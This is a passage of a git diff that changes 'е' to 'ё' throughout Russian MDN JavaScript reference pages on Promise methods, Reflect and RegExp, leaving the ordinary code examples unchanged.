<strong><code>Promise.all</code></strong> будет немедленно отклонен.</p> +<p><strong><code>Promise.all</code></strong> будет немедленно отклонён если одно из переданных обещаний будет отклонено: если у вас есть четыре обещания которые будут выполнены с задержкой и одно, которое будет отклонено немедленно - тогда <strong><code>Promise.all</code></strong> будет немедленно отклонен.</p> <pre><code>var p1 = new Promise((resolve, reject) => { setTimeout(resolve, 1000, "one"); @@ -72,7 +72,7 @@ var p4 = new Promise((resolve, reject) => { setTimeout(resolve, 4000, "four"); }); var p5 = new Promise((resolve, reject) => { -// Это обещание прервет Promise.all +// Это обещание прервёт Promise.all reject("reject"); }); diff --git a/files/ru/web/javascript/reference/global_objects/promise/any/index.html b/files/ru/web/javascript/reference/global_objects/promise/any/index.html index 339d9f7aad..fc85e0927c 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/any/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/any/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any --- <div>{{JSRef}}</div> -<p><code>Метод Promise.any()</code> принимает итерируемый объект содержащий объекты "обещаний" {{JSxRef("Promise")}}. Как только одно из "обещаний"(<code>Promise)</code> выполнится успешно(<code>fullfill</code>), метод возвратит единственный объект <code>Promise</code> со значением выполненного "обещания". Если ни одно из "обещаний" не завершится успешно(если все "обещания" завершатся с ошибкой, т.е. <code>rejected</code>), тогда возвращенный объект promise будет отклонен(<code>rejected</code>) с одним из значений: массив содержащий причины ошибки(отклонения), или {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, который объединяет выброшенные ошибки вместе. По существу, метод <code>Promise.any()</code> является противоположностью для {{JSxRef("Promise.all()")}}.</p> +<p><code>Метод Promise.any()</code> принимает итерируемый объект содержащий объекты "обещаний" {{JSxRef("Promise")}}. Как только одно из "обещаний"(<code>Promise)</code> выполнится успешно(<code>fullfill</code>), метод возвратит единственный объект <code>Promise</code> со значением выполненного "обещания". Если ни одно из "обещаний" не завершится успешно(если все "обещания" завершатся с ошибкой, т.е. <code>rejected</code>), тогда возвращённый объект promise будет отклонён(<code>rejected</code>) с одним из значений: массив содержащий причины ошибки(отклонения), или {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, который объединяет выброшенные ошибки вместе. По существу, метод <code>Promise.any()</code> является противоположностью для {{JSxRef("Promise.all()")}}.</p> <div class="blockIndicator warning"> <p><strong>Warning!</strong> The <code>Promise.any()</code> method is experimental and not fully supported by all browsers. It is currently in the <a href="https://github.com/tc39/proposal-promise-any" rel="external">TC39 Candidate stage (Stage 3)</a>.</p> @@ -27,25 +27,25 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any <ul> <li><strong>Исполненный</strong> {{JSxRef("Promise")}}, если переданный итерируемый объект пуст.</li> <li><strong>Исполненный асинхронно</strong> {{JSxRef("Promise")}}, если переданный итерируемый объект не содержит "обещаний"(promises).</li> - <li>Во всех других случаях {{JSxRef("Promise")}} со статусом ожидания(<strong>pending)</strong>. Возвращенное "обещание" будет <strong>исполнено</strong>(resolved/rejected) <strong>асинхронно</strong> (как только стэк вызовов окажется пустым), когда одно(любое) "обещание" из <em>переданного итерируемого объекта исполнится</em>, либо все "обещания" будут отклонены.</li> + <li>Во всех других случаях {{JSxRef("Promise")}} со статусом ожидания(<strong>pending)</strong>. Возвращённое "обещание" будет <strong>исполнено</strong>(resolved/rejected) <strong>асинхронно</strong> (как только стэк вызовов окажется пустым), когда одно(любое) "обещание" из <em>переданного итерируемого объекта исполнится</em>, либо все "обещания" будут отклонены.</li> </ul> <h2 id="Описание">Описание</h2> -<p>Метод полезен, когда нужно вернуть первое исполненное "обещание". После того как одно из "обещаний" будет исполнено, метод не будет дожидаться исполнения остальных. В отличие от {{JSxRef("Promise.all()")}}, который содержит <em>массив(Array)</em> значений исполненных обещаний, <code>Promise.any()</code> содержит только одно значение (при условии, что хотя бы одно из "обещаний" исполнено успешно). Такой подход может быть выгодным, когда нужно, чтобы выполнилось только одно "обещание", неважно какое. Также, в отличие от {{JSxRef("Promise.race()")}}, который возвращает "обещание", содержащее значение первого <strong>завершенного(resolved или rejected)</strong>, этот метод возвращает "обещание" содержащее значение первого <strong>успешно выполненного(resolved) </strong>"обещания". Метод будет игнорировать исполнение обещаний с ошибкой(rejection) вплоть до первого исполненного успешно(fullfilment).</p> +<p>Метод полезен, когда нужно вернуть первое исполненное "обещание". После того как одно из "обещаний" будет исполнено, метод не будет дожидаться исполнения остальных. В отличие от {{JSxRef("Promise.all()")}}, который содержит <em>массив(Array)</em> значений исполненных обещаний, <code>Promise.any()</code> содержит только одно значение (при условии, что хотя бы одно из "обещаний" исполнено успешно). Такой подход может быть выгодным, когда нужно, чтобы выполнилось только одно "обещание", неважно какое. Также, в отличие от {{JSxRef("Promise.race()")}}, который возвращает "обещание", содержащее значение первого <strong>завершённого(resolved или rejected)</strong>, этот метод возвращает "обещание" содержащее значение первого <strong>успешно выполненного(resolved) </strong>"обещания". Метод будет игнорировать исполнение обещаний с ошибкой(rejection) вплоть до первого исполненного успешно(fullfilment).</p> <h3 id="Успешное_исполнениеFullfilment">Успешное исполнение(Fullfilment)</h3> -<p>Если одно из "обещаний" исполнится успешно, возвращенное "обещание" асинхронно исполнится успешно со значением выполненного "обещания", независимо от завершения остальных "обещаний".</p> +<p>Если одно из "обещаний" исполнится успешно, возвращённое "обещание" асинхронно исполнится успешно со значением выполненного "обещания", независимо от завершения остальных "обещаний".</p> <ul> <li>Если передан пустой итерируемый объект, тогда метод возвращает (синхронно) выполненное "обещание".</li> - <li>Если одно из переданных обещаний исполнится успешно, или в переданном итерируемом объекте не содержится "обещаний", "обещание" возвращенное из метода <code>Promise.any</code> асинхронно исполнится успешно.</li> + <li>Если одно из переданных обещаний исполнится успешно, или в переданном итерируемом объекте не содержится "обещаний", "обещание" возвращённое из метода <code>Promise.any</code> асинхронно исполнится успешно.</li> </ul> <h3 id="Исполнение_с_ошибкойRejection">Исполнение с ошибкой(Rejection)</h3> -<p>Если все переданные "обещания" будут отклонены(rejected), <code>Promise.any</code> асинхронно будет отклонено в одном из двух вариантов (которые еще не были согласованы): либо</p> +<p>Если все переданные "обещания" будут отклонены(rejected), <code>Promise.any</code> асинхронно будет отклонено в одном из двух вариантов (которые ещё не были согласованы): либо</p> <ul> <li>Массив(Array) содержащий причины отклонения всех "обещаний" переданных в итерируемом объекте, либо</li> diff --git a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html index 91d7970796..3515b9c63c 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch --- <div>{{JSRef}}</div> -<p>Метод <strong>catch()</strong> возвращает <code>Promise(</code>обещание) и работает только в случае отклонения обещания. Ведет себя аналогично вызову {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.</p> +<p>Метод <strong>catch()</strong> возвращает <code>Promise(</code>обещание) и работает только в случае отклонения обещания. Ведёт себя аналогично вызову {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.</p> <h2 id="Syntax">Syntax</h2> @@ -31,7 +31,7 @@ p.catch(function(reason) { <dt><code>reason</code></dt> <dd>Причина отказа.</dd> <dt> - <p>Promise( Обещание ), возвращенное catch (), отклоняется, если onRejected выдает ошибку(throw) или возвращает Promise, который был отклонен; В противном случае Promise, возвращаемый catch () имеет статус выполнено (fulfilled)</p> + <p>Promise( Обещание ), возвращённое catch (), отклоняется, если onRejected выдаёт ошибку(throw) или возвращает Promise, который был отклонён; В противном случае Promise, возвращаемый catch () имеет статус выполнено (fulfilled)</p> </dt> </dl> </dd> @@ -72,7 +72,7 @@ p1.then(function(value) { console.log('Not fired due to the catch'); }); -// Следующий код ведет себя также, как вышенаписанный +// Следующий код ведёт себя также, как вышенаписанный p1.then(function(value) { console.log(value); // "Success!" return Promise.reject('oh, no!'); diff --git a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html index b1a53051fa..c12f7625a0 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally --- <div>{{JSRef}}</div> -<p>Метод <code><strong>finally()</strong></code> возвращает {{jsxref("Promise")}}. Когда <code>Promise</code> (обещание) был выполнен, в не зависимости успешно или с ошибкой, указанная функция будет выполнена. Это дает возможность запустить один раз определенный участок кода, который должен выполниться вне зависимости от того, с каким результатом выполнился <code>Promise</code>.</p> +<p>Метод <code><strong>finally()</strong></code> возвращает {{jsxref("Promise")}}. Когда <code>Promise</code> (обещание) был выполнен, в не зависимости успешно или с ошибкой, указанная функция будет выполнена. Это даёт возможность запустить один раз определённый участок кода, который должен выполниться вне зависимости от того, с каким результатом выполнился <code>Promise</code>.</p> <p>Это позволяет вам избавиться от дубликации кода в обработчиках {{jsxref("Promise.then", "then()")}} и {{jsxref("Promise.catch", "catch()")}}.</p> @@ -14,11 +14,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally <pre class="syntaxbox"><var>p.finally(onFinally)</var>; p.finally(function() { - // завершен (успешно или с ошибкой) + // завершён (успешно или с ошибкой) }); p.finally(() => { -// завершен (успешно или с ошибкой) +// завершён (успешно или с ошибкой) });</pre> <h3 id="Параметры">Параметры</h3> @@ -40,7 +40,7 @@ p.finally(() => { <ul> <li>Использование <code>finally()</code> позволяет избежать двойного объявления одной и той же функции или создания переменной. </li> - <li><code>finally</code> не получает аргументов, так как не существует способа определить, будет ли обещание выполнено успешно или с ошибкой. Данный метод необходимо использовать, если не важна причина ошибки или результат успешного выполнения и, следовательно, нет необходимости ее/его передавать.</li> + <li><code>finally</code> не получает аргументов, так как не существует способа определить, будет ли обещание выполнено успешно или с ошибкой. Данный метод необходимо использовать, если не важна причина ошибки или результат успешного выполнения и, следовательно, нет необходимости её/его передавать.</li> <li>В отличие от <code>Promise.resolve(2).then(() => {}, () => {})</code> (результатом которого будет resolved-промис, со значением <code>undefined</code>), результатом <code>Promise.resolve(2).finally(() => {})</code> будет resolved-промис со значением <code>2</code>.</li> <li>Аналогично, в отличии от <code>Promise.reject(3).then(() => {}, () => {})</code> (результатом которого будет resolved-промис, со значением <code>undefined</code>), результатом <code>Promise.reject(3).finally(() => {})</code> будет rejected-промис со значением <code>3</code>.</li> </ul> diff --git a/files/ru/web/javascript/reference/global_objects/promise/index.html b/files/ru/web/javascript/reference/global_objects/promise/index.html index f5701b4694..7410136177 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/index.html @@ -29,13 +29,13 @@ new Promise(function(resolve, reject) { ... });</pre> <dl> <dt>executor</dt> - <dd>Объект функции с двумя аргументами <code>resolve</code> и <code>reject</code>. Функция <code>executor</code> получает оба аргумента и выполняется сразу, еще до того как конструктор вернет созданный объект. Первый аргумент (<code>resolve</code>) вызывает успешное исполнение промиса, второй (<code>reject</code>) отклоняет его.<br> + <dd>Объект функции с двумя аргументами <code>resolve</code> и <code>reject</code>. Функция <code>executor</code> получает оба аргумента и выполняется сразу, ещё до того как конструктор вернёт созданный объект. Первый аргумент (<code>resolve</code>) вызывает успешное исполнение промиса, второй (<code>reject</code>) отклоняет его.<br> Обычно функция <code>executor</code> описывает выполнение какой-то асинхронной работы, по завершении которой необходимо вызвать функцию <code>resolve</code> или <code>reject</code>. Обратите внимание, что возвращаемое значение функции <code>executor</code> игнорируется.</dd> </dl> <h2 id="Описание">Описание</h2> -<p>Интерфейс <code><strong>Promise</strong></code> (промис) представляет собой обертку для значения, неизвестного на момент создания промиса. Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается <em>обещание </em>(промис)<em> </em>получить результат в некоторый момент в будущем.</p> +<p>Интерфейс <code><strong>Promise</strong></code> (промис) представляет собой обёртку для значения, неизвестного на момент создания промиса. Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается <em>обещание </em>(промис)<em> </em>получить результат в некоторый момент в будущем.</p> <p><code>Promise</code> может находиться в трёх состояниях:</p> @@ -45,14 +45,14 @@ new Promise(function(resolve, reject) { ... });</pre> <li><em>отклонено (rejected)</em>: операция завершена с ошибкой.</li> </ul> -<p>При создании промис находится в <em>ожидании (pending)</em>, а затем может стать <em>исполненным </em> (<em>fulfilled)</em>, вернув полученный результат (значение), или <em>отклоненным </em>(<em>rejected),</em> вернув причину отказа. В любом из этих случаев вызывается обработчик, прикрепленный к промису методом <code>then</code>. (Если в момент назначения обработчика промис уже исполнен или отклонен, обработчик все равно будет вызван, т.е. асинхронное исполнение промиса и назначение обработчика не будет происходить в «состоянии гонки», как, например, в случае с событиями в DOM.)</p> +<p>При создании промис находится в <em>ожидании (pending)</em>, а затем может стать <em>исполненным </em> (<em>fulfilled)</em>, вернув полученный результат (значение), или <em>отклонённым </em>(<em>rejected),</em> вернув причину отказа. В любом из этих случаев вызывается обработчик, прикреплённый к промису методом <code>then</code>. (Если в момент назначения обработчика промис уже исполнен или отклонён, обработчик все равно будет вызван, т.е. асинхронное исполнение промиса и назначение обработчика не будет происходить в «состоянии гонки», как, например, в случае с событиями в DOM.)</p> <p>Так как методы <code>{{JSxRef("Promise.then", "Promise.prototype.then()")}}</code> и <code>{{JSxRef("Promise.catch", "Promise.prototype.catch()")}}</code> сами возвращают промис, их можно вызывать цепочкой, создавая <em>соединения.</em></p> <p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p> <div class="blockIndicator note"> -<p><strong>Примечание:</strong> говорят, что промис находится в состоянии <em>завершен (settled) </em>когда он или исполнен или отклонен, т.е. в любом состоянии, кроме ожидания (это лишь форма речи, не являющаяся настоящим состоянием промиса). Также можно встретить термин <em>исполин (resolved) </em>— это значит что промис <em>завершен </em>или "заблокирован" в ожидании завершения другого промиса. В статье <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">состояния и fates</a> приводится более подробное описание терминологии.</p> +<p><strong>Примечание:</strong> говорят, что промис находится в состоянии <em>завершён (settled) </em>когда он или исполнен или отклонён, т.е. в любом состоянии, кроме ожидания (это лишь форма речи, не являющаяся настоящим состоянием промиса). Также можно встретить термин <em>исполин (resolved) </em>— это значит что промис <em>завершён </em>или "заблокирован" в ожидании завершения другого промиса. В статье <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">состояния и fates</a> приводится более подробное описание терминологии.</p> </div> <h2 id="Свойства">Свойства</h2> @@ -69,13 +69,13 @@ new Promise(function(resolve, reject) { ... });</pre> <dl> <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt> <dd>Ожидает исполнения всех промисов или отклонения любого из них.</dd> - <dd>Возвращает промис, который исполнится после исполнения всех промисов в <code>iterable</code>. В случае, если любой из промисов будет отклонен, <code>Promise.all</code> будет также отклонен.</dd> + <dd>Возвращает промис, который исполнится после исполнения всех промисов в <code>iterable</code>. В случае, если любой из промисов будет отклонён, <code>Promise.all</code> будет также отклонен.</dd> <dt>{{JSxRef("Promise.allSettled", "Promise.allSettled(iterable)")}}</dt> <dd>Ожидает завершения всех полученных промисов (как исполнения так и отклонения).</dd> <dd>Возвращает промис, который исполняется когда все полученные промисы завершены (исполнены или отклонены), содержащий массив результатов исполнения полученных промисов.</dd> <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt> <dd>Ожидает исполнения или отклонения любого из полученных промисов.</dd> - <dd>Возвращает промис, который будет исполнен или отклонен с результатом исполнения первого исполненного или отклонённого промиса из .<code>iterable</code>.</dd> + <dd>Возвращает промис, который будет исполнен или отклонён с результатом исполнения первого исполненного или отклонённого промиса из .<code>iterable</code>.</dd> </dl> <dl> @@ -88,7 +88,7 @@ new Promise(function(resolve, reject) { ... });</pre> <dd>Возвращает промис, исполненный с результатом <code>value</code>.</dd> <dd> <div class="hidden"> - <p>Если у <code>value</code> имеется метод <code>then</code>, то возвращаемый промис будет "следовать" продолжению, выступая адаптером его состояния; в противном случае будет возвращен промис в исполненном состоянии. Если вы не уверены, является ли некоторое значение промисом, вы можете обернуть его в {{JSxRef("Promise.resolve", "Promise.resolve(value)")}} и продолжить работу с ним как с промисом.</p> + <p>Если у <code>value</code> имеется метод <code>then</code>, то возвращаемый промис будет "следовать" продолжению, выступая адаптером его состояния; в противном случае будет возвращён промис в исполненном состоянии. Если вы не уверены, является ли некоторое значение промисом, вы можете обернуть его в {{JSxRef("Promise.resolve", "Promise.resolve(value)")}} и продолжить работу с ним как с промисом.</p> </div> </dd> </dl> @@ -105,7 +105,7 @@ new Promise(function(resolve, reject) { ... });</pre> <h2 id="Создание_промиса">Создание промиса</h2> -<p>Объект <code>Promise</code> создается при помощи ключевого слова <code>new</code> и своего конструктора. Конструктор <code>Promise</code> принимает в качестве аргумента функцию, называемую "исполнитель" (<em>executor function</em>). Эта функция должна принимать две функции-колбэка в качестве параметров. Первый из них (<code>resolve</code>) вызывается, когда асинхронная операция завершилась успешно и вернула результат своего исполнения в виде значения. Второй колбэк (<code>reject</code>) вызывается, когда операция не удалась, и возвращает значение, указывающее на причину неудачи, чаще всего объект ошибки.</p> +<p>Объект <code>Promise</code> создаётся при помощи ключевого слова <code>new</code> и своего конструктора. Конструктор <code>Promise</code> принимает в качестве аргумента функцию, называемую "исполнитель" (<em>executor function</em>). Эта функция должна принимать две функции-колбэка в качестве параметров. Первый из них (<code>resolve</code>) вызывается, когда асинхронная операция завершилась успешно и вернула результат своего исполнения в виде значения. Второй колбэк (<code>reject</code>) вызывается, когда операция не удалась, и возвращает значение, указывающее на причину неудачи, чаще всего объект ошибки.</p> <pre class="brush: js">const myFirstPromise = new Promise((resolve, reject) => { // выполняется асинхронная операция, которая в итоге вызовет: diff --git a/files/ru/web/javascript/reference/global_objects/promise/race/index.html b/files/ru/web/javascript/reference/global_objects/promise/race/index.html index 79b3fba0b0..da184495a3 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/race/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/race/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race --- <div>{{JSRef}}</div> -<p>Метод<strong> Promise.race(iterable)</strong> возвращает выполненное или отклоненное обещание, в зависимости от того, с каким результатом завершится первое из переданных обещаний, со значением или причиной отклонения этого обещания.</p> +<p>Метод<strong> Promise.race(iterable)</strong> возвращает выполненное или отклонённое обещание, в зависимости от того, с каким результатом завершится первое из переданных обещаний, со значением или причиной отклонения этого обещания.</p> <p>{{EmbedInteractiveExample("pages/js/promise-race.html")}}</p> @@ -27,11 +27,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Выполненный или отклоненный {{jsxref("Promise")}} в зависимости от результата первого завершенного из переданных в итерируемом объекте обещаний.</p> +<p>Выполненный или отклонённый {{jsxref("Promise")}} в зависимости от результата первого завершённого из переданных в итерируемом объекте обещаний.</p> <h2 id="Описание">Описание</h2> -<p>Метод <code>race</code> возвращает <code>Обещание </code>(<code>Promise</code>) с результатом, первого завершенного из переданных обещаний. Т.е. возвратит resolve или reject, в зависимости от того, что случится первым.</p> +<p>Метод <code>race</code> возвращает <code>Обещание </code>(<code>Promise</code>) с результатом, первого завершённого из переданных обещаний. Т.е. возвратит resolve или reject, в зависимости от того, что случится первым.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html index 9bb06a2115..ebaed59a5f 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject --- <div>{{JSRef}}</div> -<p>Метод <code><strong>Promise.reject(reason)</strong></code> возвращает объект <code>Promise, который был отклонен по указанной причине</code>.</p> +<p>Метод <code><strong>Promise.reject(reason)</strong></code> возвращает объект <code>Promise, который был отклонён по указанной причине</code>.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -19,13 +19,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject <dt> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> - <p>Отклоненный с указанной причиной {{jsxref("Promise")}}.</p> + <p>Отклонённый с указанной причиной {{jsxref("Promise")}}.</p> </dt> </dl> <h2 id="Описание">Описание</h2> -<p><code>Promise.reject</code> возвращает <code>Promise</code> который был отклонен. В целях отладки и выборочного отлова ошибок, удобно использовать в качестве причины объекты {{jsxref("Error")}}.</p> +<p><code>Promise.reject</code> возвращает <code>Promise</code> который был отклонён. В целях отладки и выборочного отлова ошибок, удобно использовать в качестве причины объекты {{jsxref("Error")}}.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html index 1b5cff1c3e..f61fad91ec 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve --- <div>{{JSRef}}</div> -<p>Метод <code><strong>Promise.resolve(value)</strong></code> возвращает {{jsxref("Promise")}} выполненный с переданным значением. Если переданное значение является thenable - объект (т.е. имеет метод {{jsxref("Promise.then", "\"then\" method")}}), возвращаемое обещание будет следовать thenable - объекту, принимая свое состояние; в ином случае возвращаемое обещание будет выполнено с переданным значением.</p> +<p>Метод <code><strong>Promise.resolve(value)</strong></code> возвращает {{jsxref("Promise")}} выполненный с переданным значением. Если переданное значение является thenable - объект (т.е. имеет метод {{jsxref("Promise.then", "\"then\" method")}}), возвращаемое обещание будет следовать thenable - объекту, принимая своё состояние; в ином случае возвращаемое обещание будет выполнено с переданным значением.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/promise/then/index.html b/files/ru/web/javascript/reference/global_objects/promise/then/index.html index 211b7692dd..a380cb5b5c 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/then/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/then/index.html @@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then <p>Метод <code><strong>then()</strong></code> возвращает {{jsxref("Promise")}}. Метод может принимать два аргумента: колбэк-функции для случаев выполнения и отклонения промиса.</p> <div class="note"> -<p> Если один или оба аргумента отсутствуют или их значения не функции, то <code>then</code> пропустит их и не выбросит ошибку. Если для <code>Promise</code>, который переходит в состояние <code>выполнен</code> или <code>отклонен</code> вызван метод <code>then</code>, и у данного метода нет нужного обработчика, то в таком случае <code>then</code> просто возвращает промис с состоянием начального <code>Promise</code>, для которого <code>then</code> был вызван.</p> +<p> Если один или оба аргумента отсутствуют или их значения не функции, то <code>then</code> пропустит их и не выбросит ошибку. Если для <code>Promise</code>, который переходит в состояние <code>выполнен</code> или <code>отклонён</code> вызван метод <code>then</code>, и у данного метода нет нужного обработчика, то в таком случае <code>then</code> просто возвращает промис с состоянием начального <code>Promise</code>, для которого <code>then</code> был вызван.</p> </div> <h2 id="Синтаксис">Синтаксис</h2> @@ -32,7 +32,7 @@ p.then(value => { <dt><code>onFulfilled</code> {{optional_inline}}</dt> <dd>{{jsxref("Function")}} вызывается, когда <code>Promise</code> выполнен. Эта функция принимает один аргумент, значение с которым промис был выполнен. Если значение onFulfilled не функция, то оно автоматически заменяется на "Identity" функцию (возвращает полученный аргумент)</dd> <dt><code>onRejected</code> {{optional_inline}}</dt> - <dd>{{jsxref("Function")}} вызывается, когда <code>Promise</code> отклонен. Эта функция принимает один аргумент, значение с которым промис был отклонен. Если значение onRejected не функция, то оно автоматически заменяется на "Thrower" функцию (выбрасывает полученный аргумент как ошибку)</dd> + <dd>{{jsxref("Function")}} вызывается, когда <code>Promise</code> отклонён. Эта функция принимает один аргумент, значение с которым промис был отклонён. Если значение onRejected не функция, то оно автоматически заменяется на "Thrower" функцию (выбрасывает полученный аргумент как ошибку)</dd> </dl> <h2 id="Описание">Описание</h2> @@ -58,7 +58,7 @@ p1.then(function(value) { <h3 id="Соединение">Соединение</h3> -<p>Так как метод <code>then</code> возвращает <code>Promise</code> (обещание), вы можете объединить несколько вызовов <code>then</code> в цепочку. Значения возвращаемые из onFulfilled или onRejected колбэков будут автоматически обернуты в обещание.</p> +<p>Так как метод <code>then</code> возвращает <code>Promise</code> (обещание), вы можете объединить несколько вызовов <code>then</code> в цепочку. Значения возвращаемые из onFulfilled или onRejected колбэков будут автоматически обёрнуты в обещание.</p> <pre class="brush: js notranslate">var p2 = new Promise(function(resolve, reject) { resolve(1); @@ -88,7 +88,7 @@ p2.then(function(value) { var j = response.json(); // можем что-нибудь делать с j return j; // в случае выполнения обещания, значение - // передается в fetch_current_data().then() + // передаётся в fetch_current_data().then() }); } </pre> diff --git a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html index e5eaa5af39..e1c5fcbdbc 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct --- <div>{{JSRef}}</div> -<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.construct()</code></strong> работает как <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>. Он эквивалентен <code>new target(...args)</code>. Это также дает дополнительную возможность указать другой прототип.</p> +<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.construct()</code></strong> работает как <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>. Он эквивалентен <code>new target(...args)</code>. Это также даёт дополнительную возможность указать другой прототип.</p> <div>{{EmbedInteractiveExample("pages/js/reflect-construct.html")}}</div> diff --git a/files/ru/web/javascript/reference/global_objects/reflect/index.html b/files/ru/web/javascript/reference/global_objects/reflect/index.html index 9a93944a56..8f5f7bb306 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/index.html @@ -71,7 +71,7 @@ Reflect.has(duck, 'haircut'); <h3 id="Добавление_нового_свойства_в_объект">Добавление нового свойства в объект</h3> <pre class="brush: js notranslate">Reflect.set(duck, 'eyes', 'black'); -// вернется "true" если вызов успешен +// вернётся "true" если вызов успешен // объект "duck" теперь содержит свойство "eyes" со значением "black"</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html index 8579639a52..c99438a6d8 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys --- <div>{{JSRef}}</div> -<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.ownKeys()</code></strong> возвращает массив имен, а также <code>Symbols</code> собственных полей объекта <code>target</code> .</p> +<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.ownKeys()</code></strong> возвращает массив имён, а также <code>Symbols</code> собственных полей объекта <code>target</code> .</p> <div>{{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}</div> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html index 80c4692d97..fffdadf7c9 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@split <p>Этот метод существует для кастомизации поведения (разбиения) подкласса <code>RegExp</code>.</p> -<p>Если аргумент <code>str</code> <strong>не </strong>объект типа {{jsxref("RegExp")}}, метод {{jsxref("String.prototype.split()")}} не вызывается, так же не создается объект типа {{jsxref("RegExp")}}.</p> +<p>Если аргумент <code>str</code> <strong>не </strong>объект типа {{jsxref("RegExp")}}, метод {{jsxref("String.prototype.split()")}} не вызывается, так же не создаётся объект типа {{jsxref("RegExp")}}.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/index.html b/files/ru/web/javascript/reference/global_objects/regexp/index.html index 20b0d9b10e..359a8f167d 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/index.html @@ -293,7 +293,7 @@ var re = new RegExp('\\w+'); <tr> <td><code>\<em>n</em></code></td> <td> - <p>Где <code><em>n</em></code> является целым положительным числом. Обратная ссылка на последнюю сопоставившуюся подстроку в <em>n</em>-ных по счёту круглых скобках в регулярном выражении (нумерация скобок идет слева направо).</p> + <p>Где <code><em>n</em></code> является целым положительным числом. Обратная ссылка на последнюю сопоставившуюся подстроку в <em>n</em>-ных по счёту круглых скобках в регулярном выражении (нумерация скобок идёт слева направо).</p> <p>Например, шаблон <code>/яблоко(,)\sапельсин\1/</code> 